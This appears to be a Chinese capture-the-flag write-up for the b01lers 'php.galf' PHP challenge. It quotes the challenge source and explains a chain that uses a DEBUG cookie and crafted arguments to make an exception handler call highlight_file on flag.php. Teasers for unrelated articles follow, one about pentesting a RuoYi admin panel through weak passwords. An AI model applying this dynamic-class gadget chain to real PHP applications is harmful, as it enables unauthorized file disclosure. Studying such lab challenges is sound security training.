当前位置: 首页 > news >正文

b01lers(php.galf)

目录

前文

 正文


前文

<?phpclass A{public $code=NULL;public $args=NULL;public function __construct($code,$args=NULL){$this->code=$code;$this->args=$args;print_r("2333") ;}
public function __invoke($code,$args){echo $code;print_r("执行invoke") ;}
}
$B=new A(55,66);
$B(33,44);

233 333执行invoke说明执行了construct和invoke

 throw new A(55, 100);也会对construct进行初始化

然后肯定是从index.php开始出发,php文件不算太多,可以逐个看一下出口也就是能够命令执行获得flag的地方。

最终可以在noitpecxe.php下面找到可疑点,因为这俩参数还是构造函数传进来的,也就是说我们可以通过调用实参来操作。

 正文

index.php

<?phpdefine('block', TRUE);require("parser/syntaxreader.php");include("flag.php");$code = "ohce ohce ohce ohce ohce ohce ohce";$args = "flag.php,aaa,aaa,highlight_file,orez_lum,orez_vid,syntaxreader";$result = NULL;if (!isset($_COOKIE['DEBUG'])){//如果cookie中不存在,DEBUG$result = new syntaxreader($code, $args);} else if (strcmp($_COOKIE['DEBUG'], hash("md5")) == 0) {echo "Warning: Adming debugging enabled!";$result = new syntaxreader($code, $args, NULL);} else {$debug = array("Debugging Enabled!", 69);$result = new syntaxreader($code, $args, $debug);}$result->run();?>

这里code args是post传参可控,我这里直接把答案先写出来方便理解。

这里肯定会调用 syntaxreader的构造函数,看了一下三者的区别,其实就是末尾的debug传参的问题,第一个if和第二个elseif都是NULL,但是第三个确有值,这是唯一的差别。

syntaxreader.php 

public function __construct($lines, $args, $debug = NULL) {$this->code = explode("\n", $lines);//这里使用\n作为分隔符号,切成数组$this->args = $args;$this->result = $result;if (isset($debug)) {//这里不可能执行到的// disable debugging modethrow new noitpecxe(...$debug);}}

如果debug为true的话那么就可以直接初始化noipecxe,然后这里正好是我们一开始想到的漏洞点,直接让$error_func($this->message); ==== hightlight(flag.php)

这里说明一下数组传参,  $debug数组传参就会把参数逐个给形参也就是

(message,code,previous,error_func)

(flag.php,aa,aa,highlight)

noipecxe.php

<?php
class noitpecxe extends Exception
{public $error_func = NULL;public function __construct($message, $code, $previous = null, $error_func = "printf") {// remove when PHP 5.3 is no longer supported$this->error_func = $error_func;//printf$this->message = $message;//args的值,是个数组$previous = NULL;//dont care what ur code is LOL!$code = 69;parent::__construct($message, $code, $previous);}public function __toString() {$error_func = $this->error_func;//这里引用到了另一个函数$error_func($this->message);return __CLASS__ . ": {$this->code}\n";}
}
?>
$result->run(); ::parse

里面作用就是分割数组,并且code的值一定要一直是oche

public function parse() {$parsable = array("ohce");$arg_val = 0;$code = $this->code;$args = $this->args;$result = $this->result;for ($i = 0; $i < count($code); $i++) {//去掉刚才数组分割中的空格$code[$i] = trim($code[$i]);}$args = explode(",", $args);for ($i = 0; $i < count($args); $i++) {//对传入的args进行,分割且去掉空格$args[$i] = trim($args[$i]);}for ($i = 0; $i < count($code); $i++) {$token = explode(" ", $code[$i]);//通过空格继续分割for ($j = 0; $j < count($token); $j++) {try {if (!in_array($token[$j], $parsable)) {//这里必须要满足里面ohcethrow new noitpecxe("Non-Parsable Keyword!\n", 101);}if ($args[$arg_val] == NULL) {//args传入的不能为空throw new noitpecxe("No Arguments!\n", 990);}if ($args[$arg_val] === "noitpecxe") {//不能是这个的值throw new noitpecxe("No Exceptions!\n", 100);}$class = new $token[$j];//玄机在这里,这里肯定是一个跳转类的东西$class($args, $arg_val);//我们可以根据参数来看调的哪个$arg_val++;} catch (noitpecxe $e) {echo "Error Executing Code! Error: " . $e . "\n";}}

 然后就会调用oche.php

  public function __invoke($args, $arg_val) {$this->args = $args[$arg_val];$arg_val++;$parsable = array("orez_lum", "orez_dda");if (in_array($this->args, $parsable)) { // we can run operators in ohce!$class = new $this->args;$this->result = $class($args, $arg_val);} else {$this->result = $this->args;}$this->result = strrev($this->result) . "\n";echo $this->result;}

orez_lum和orez_dda内容几乎一样,调用谁都一样,然后调用orez_vid

为什么要调用它呢,看一下传参值

$class($arg, $arg_val); 
orez_vid  ($arg = "div", $arg_val = 0, $result = NULL)
new $arg[$arg_val]("div", $result, $arg);  
syntaxreader public function __construct($lines, $args, $debug = NULL)
throw new noitpecxe(...$debug);
public function __construct($message, $code, $previous = null, $error_func = "printf")

所以我们一开始传入的arg就可以一条线的到达我们的执行命令,然后就是看一下中间的条件,只有

$_COOKIE['DEBUG']存在即可和上面的index.php判断一样,ok结束
 public function __invoke($arg = "div", $arg_val = 0, $result = NULL) {if (!isset($_COOKIE['DEBUG'])) {  //just gonna prevent people from using thisthrow new noitpecxe("You need to enable debugging mode to access this!\n", 0);}if ($arg[$arg_val] == NULL) {throw new noitpecxe("No Arguments!\n", 990);}if ($arg[$arg_val] === "noitpecxe") {throw new noitpecxe("No Exceptions!\n", 100);}if (isset($result)) {throw new noitpecxe("No dividing by zero!\n", 0);}// smart to call the constructor so there is an exception! I was a genius!$class = new $arg[$arg_val]("div", $result, $arg);$arg_val++;$this->result = $arg[$arg_val] / 0; // dividing by zero??return $this->result;}

这里卡了一下,debug是数组类型的,这点可以看php中赋值得知。 

就是我们输入的code是以空格分割的,这里+就是空格的意思,但我用空格也过去了qwq        ,一定要静下心来审计!!!

相关文章:

b01lers(php.galf)

目录 前文 正文 前文 <?phpclass A{public $codeNULL;public $argsNULL;public function __construct($code,$argsNULL){$this->code$code;$this->args$args;print_r("2333") ;} public function __invoke($code,$args){echo $code;print_r("执行inv…...

记一次若依后台管理系统渗透

前言 最近客户开始hw前的风险排查&#xff0c;让我们帮他做个渗透测试&#xff0c;只给一个单位名称。通过前期的信息收集&#xff0c;发现了这个站点&#xff1a; 没有验证码&#xff0c;再加上这个图标&#xff0c;吸引了我注意&#xff1a; 从弱口令开始 若依默认口令为ad…...

Mybatis(四):自定义映射resultMap

自定义映射resultMap前言一、处理字段和属性的映射关系问题&#xff1a;方案一&#xff1a;使用别名方案二&#xff1a;在mybatis-config.xml中设置mapUnderscoreToCamelCase方案三&#xff1a;在映射文件中设置redultMap二、多对一映射处理问题&#xff1a;方案一&#xff1a;…...

机器学习---降维算法

知其然知其所以然【写在前面】主成分分析&#xff08;PCA&#xff09;原理部分代码部分可视化部分线性判别分析&#xff08;LDA&#xff09;原理部分代码部分可视化部分独立成分分析&#xff08;ICA&#xff09;原理部分代码部分可视化部分t-SNE降维算法原理部分代码部分可视化…...

【Vue2从入门到精通】详解Vue.js的15种常用指令及其使用场景

文章目录前言1. v-text / {{ expression }}2.v-html3.v-bind4.v-on5. v-model6.v-for7.v-if / v-else-if / v-else9.v-show10.v-cloak11.v-pre12.组件注册指令13.动态组件指令14.自定义指令15.过滤器指令前言 Vue.js 是一款流行的前端框架&#xff0c;它通过指令&#xff08;Di…...

数据库知识总结

数据库知识点总结个人向。 目录第一章 绪论第二章 关系数据库第三章 关系数据库标准语言SQL第四章 数据库安全性第五章 数据库完整性第六章 关系数据理论第七章 数据库设计第十章 数据库恢复技术第十一章 并发控制第一章 绪论 数据(data): 描述事物的符号记录。 数据库(DataB…...

处理数组循环中删除元素导致索引错位情况

就是很多时候我们对一个数组进行操作的时候&#xff0c;在for遍历的过程中删掉了一个元素&#xff0c;那么在删掉那个元素之后的所有元素的索引值都会减少一位&#xff0c;数组长度缩短一位&#xff0c;删完之后&#xff0c;正在进行的循环会继续循环下去&#xff0c;但是循环的…...

快速排序,分治法实际应用(含码源与解析)

&#x1f38a;【数据结构与算法】专题正在持续更新中&#xff0c;各种数据结构的创建原理与运用✨&#xff0c;经典算法的解析✨都在这儿&#xff0c;欢迎大家前往订阅本专题&#xff0c;获取更多详细信息哦&#x1f38f;&#x1f38f;&#x1f38f; &#x1fa94;本系列专栏 -…...

linux入门---操作体统的概念

什么是操作系统 操作系统是一个对软硬件资源进行管理的软件。计算机由一堆硬件组成&#xff0c;这些硬件遵循着冯诺依曼体系结构 在这个硬件的基础上还有一个软件叫做操作系统 操作系统的任务是对硬件进行管理&#xff0c;既然是管理的话操作系统得访问到底层的硬件&#xf…...

《Qt 6 C++开发指南》提供4个版本的示例程序

《Qt 6 C开发指南》包含丰富的示例项目&#xff0c;为了方便读者使用《Qt 6 C开发指南》学习Qt编程&#xff0c;本书提供了4个版本的示例程序。读者可在人民邮电出版社异步社区本书的配套资源&#xff08;如图1&#xff09;里下载这4个版本的示例程序。图1 异步社区本书配套资源…...

chartgpt 告诉我的,loss 函数的各种知识

一、libtorch中常见的损失函数及其使用场景的总结1. CrossEntropyLoss:CrossEntropyLoss&#xff08;交叉熵损失&#xff09;主要用于分类任务。它适用于多分类问题&#xff0c;其中每个样本只属于一个类别&#xff08;互斥&#xff09;。该损失函数将预测概率与真实标签的one-…...

旅行推销员问题的遗传算法中的完整子路线顺序交叉

摘要 旅行商问题&#xff08;TSP&#xff09;是许多著名的组合问题之一。TSP可以解释为很难找到从第一个城市出发&#xff0c;经过所有城市&#xff0c;然后返回起点的最短距离。在标准问题中&#xff0c;TSP通常用于确定新算法的效率。遗传算法是求解TSP问题的一种成功算法。…...

Python实现词频统计

词频统计是自然语言处理的基本任务&#xff0c;针对一段句子、一篇文章或一组文章&#xff0c;统计文章中每个单词出现的次数&#xff0c;在此基础上发现文章的主题词、热词。 1. 单句的词频统计 思路&#xff1a;首先定义一个空字典my_dict&#xff0c;然后遍历文章&#xf…...

微信小程序面试题(day08)

文章目录微信小程序自定义组件的使用&#xff1f;微信小程序事件通道的使用&#xff1f;微信小程序如何使用vant组件库&#xff1f;微信小程序自定义组件父传子子传父&#xff1f;微信小程序自定义组件生命周期有哪些&#xff1f;微信小程序授权登录流程&#xff1f;web-view。…...

最强的Python可视化神器,你有用过么?

数据分析离不开数据可视化&#xff0c;我们最常用的就是Pandas&#xff0c;Matplotlib&#xff0c;Pyecharts当然还有Tableau&#xff0c;看到一篇文章介绍Plotly制图后我也跃跃欲试&#xff0c;查看了相关资料开始尝试用它制图。 1、Plotly Plotly是一款用来做数据分析和可视…...

Ubuntu使用vnc远程桌面【远程内网穿透】

文章目录1.前言2.两台互联电脑的设置2.1 Windows安装VNC2.2 Ubuntu安装VNC2.3.Ubuntu安装cpolar3.Cpolar设置3.1 Cpolar云端设置3.2.Cpolar本地设置4.公网访问测试5.结语1.前言 记得笔者刚刚开始接触电脑时&#xff0c;还是win95/98的时代&#xff0c;那时的电脑桌面刚迈入图形…...

【C++】map、set、multimap、multiset的介绍和使用

我讨厌世俗&#xff0c;也耐得住孤独。 文章目录一、键值对二、树形结构的关联式容器1.set1.1 set的介绍1.2 set的使用1.3 multiset的使用2.map2.1 map的介绍2.2 map的使用2.3 multimap的使用三、两道OJ题1.前K个高频单词&#xff08;less<T>小于号是小的在左面升序&…...

css学习14(多媒体查询)

目录 多媒体查询 语法 示例代码 通用媒体查询 媒体功能参考列表 多媒体查询 CSS的媒体查询是一种CSS的技术&#xff0c;它可以根据不同的设备类型、屏幕尺寸、方向、分辨率等条件来应用不同的CSS样式&#xff0c;从而为不同的设备和屏幕提供最佳的浏览体验。这样&#xff…...

【C++进阶】C++11(中)左值引用和右值引用

文章目录左值引用左值引用的概念左值引用的使用右值引用右值引用的概念右值引用的使用左右值相互引用左值引用对右值进行引用右值引用对左值进行引用右值引用使用场景和意义左值引用的优势左值引用的短板右值引用的优势完美转发模板万能引用完美转发实际运用场景左值引用 左值…...

Python中的生成器【generator】总结,看看你掌握了没?

人生苦短&#xff0c;我用python python 安装包资料:点击此处跳转文末名片获取 1.实现generator的两种方式 python中的generator保存的是算法&#xff0c; 真正需要计算出值的时候才会去往下计算出值。 它是一种惰性计算&#xff08;lazy evaluation&#xff09;。 要创建一个…...

线程同步:确保多线程程序的安全与高效!

全文目录&#xff1a; 开篇语前序前言第一部分&#xff1a;线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分&#xff1a;synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分&#xff…...

蓝桥杯 2024 15届国赛 A组 儿童节快乐

P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡&#xff0c;轻快的音乐在耳边持续回荡&#xff0c;小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下&#xff0c;六一来了。 今天是六一儿童节&#xff0c;小蓝老师为了让大家在节…...

第 86 场周赛:矩阵中的幻方、钥匙和房间、将数组拆分成斐波那契序列、猜猜这个单词

Q1、[中等] 矩阵中的幻方 1、题目描述 3 x 3 的幻方是一个填充有 从 1 到 9 的不同数字的 3 x 3 矩阵&#xff0c;其中每行&#xff0c;每列以及两条对角线上的各数之和都相等。 给定一个由整数组成的row x col 的 grid&#xff0c;其中有多少个 3 3 的 “幻方” 子矩阵&am…...

面向无人机海岸带生态系统监测的语义分割基准数据集

描述&#xff1a;海岸带生态系统的监测是维护生态平衡和可持续发展的重要任务。语义分割技术在遥感影像中的应用为海岸带生态系统的精准监测提供了有效手段。然而&#xff0c;目前该领域仍面临一个挑战&#xff0c;即缺乏公开的专门面向海岸带生态系统的语义分割基准数据集。受…...

脑机新手指南(七):OpenBCI_GUI:从环境搭建到数据可视化(上)

一、OpenBCI_GUI 项目概述 &#xff08;一&#xff09;项目背景与目标 OpenBCI 是一个开源的脑电信号采集硬件平台&#xff0c;其配套的 OpenBCI_GUI 则是专为该硬件设计的图形化界面工具。对于研究人员、开发者和学生而言&#xff0c;首次接触 OpenBCI 设备时&#xff0c;往…...

通过 Ansible 在 Windows 2022 上安装 IIS Web 服务器

拓扑结构 这是一个用于通过 Ansible 部署 IIS Web 服务器的实验室拓扑。 前提条件&#xff1a; 在被管理的节点上安装WinRm 准备一张自签名的证书 开放防火墙入站tcp 5985 5986端口 准备自签名证书 PS C:\Users\azureuser> $cert New-SelfSignedCertificate -DnsName &…...

6个月Python学习计划 Day 16 - 面向对象编程(OOP)基础

第三周 Day 3 &#x1f3af; 今日目标 理解类&#xff08;class&#xff09;和对象&#xff08;object&#xff09;的关系学会定义类的属性、方法和构造函数&#xff08;init&#xff09;掌握对象的创建与使用初识封装、继承和多态的基本概念&#xff08;预告&#xff09; &a…...

自然语言处理——文本分类

文本分类 传统机器学习方法文本表示向量空间模型 特征选择文档频率互信息信息增益&#xff08;IG&#xff09; 分类器设计贝叶斯理论&#xff1a;线性判别函数 文本分类性能评估P-R曲线ROC曲线 将文本文档或句子分类为预定义的类或类别&#xff0c; 有单标签多类别文本分类和多…...

《信号与系统》第 6 章 信号与系统的时域和频域特性

目录 6.0 引言 6.1 傅里叶变换的模和相位表示 6.2 线性时不变系统频率响应的模和相位表示 6.2.1 线性与非线性相位 6.2.2 群时延 6.2.3 对数模和相位图 6.3 理想频率选择性滤波器的时域特性 6.4 非理想滤波器的时域和频域特性讨论 6.5 一阶与二阶连续时间系统 6.5.1 …...

Linux-进程间的通信

1、IPC&#xff1a; Inter Process Communication&#xff08;进程间通信&#xff09;&#xff1a; 由于每个进程在操作系统中有独立的地址空间&#xff0c;它们不能像线程那样直接访问彼此的内存&#xff0c;所以必须通过某种方式进行通信。 常见的 IPC 方式包括&#…...